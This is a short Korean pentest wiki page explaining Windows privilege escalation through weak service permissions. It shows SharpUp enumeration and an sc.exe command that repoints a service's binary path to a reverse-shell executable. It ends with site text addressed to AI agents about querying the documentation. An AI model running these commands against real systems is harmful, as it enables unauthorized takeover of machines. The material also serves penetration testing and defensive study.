# Weak Service Permissions

침투한 시스템 제어 권한으로 실행 중인 서비스 바이너리 경로를 변조할 수 있다면, 서비스가 재실행 될 때 악성 코드를 실행시켜 시스템 권한을 탈취할 수 있습니다.

## Abuse

{% embed url="<https://github.com/GhostPack/SharpUp>" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 바이너리 경로 쓰기 권한이 있는 서비스 열거
</strong>.\SharpUp.exe audit ModifiableServices

<strong># 변경할 서비스 원본 바이너리 확인
</strong>sc.exe qc ExecNotepad

<strong># 바이너리 경로 변경
</strong>sc.exe config ExecNotepad binPath="C:\Users\Mick3y\reverse.exe"
</code></pre>

{% hint style="info" %}
종종 binPath 인자를 입력할 때 경로 앞에 공백을 붙여야 하는 경우가 있습니다.
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/privilege-escalation/windows/weak-service-permissions.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
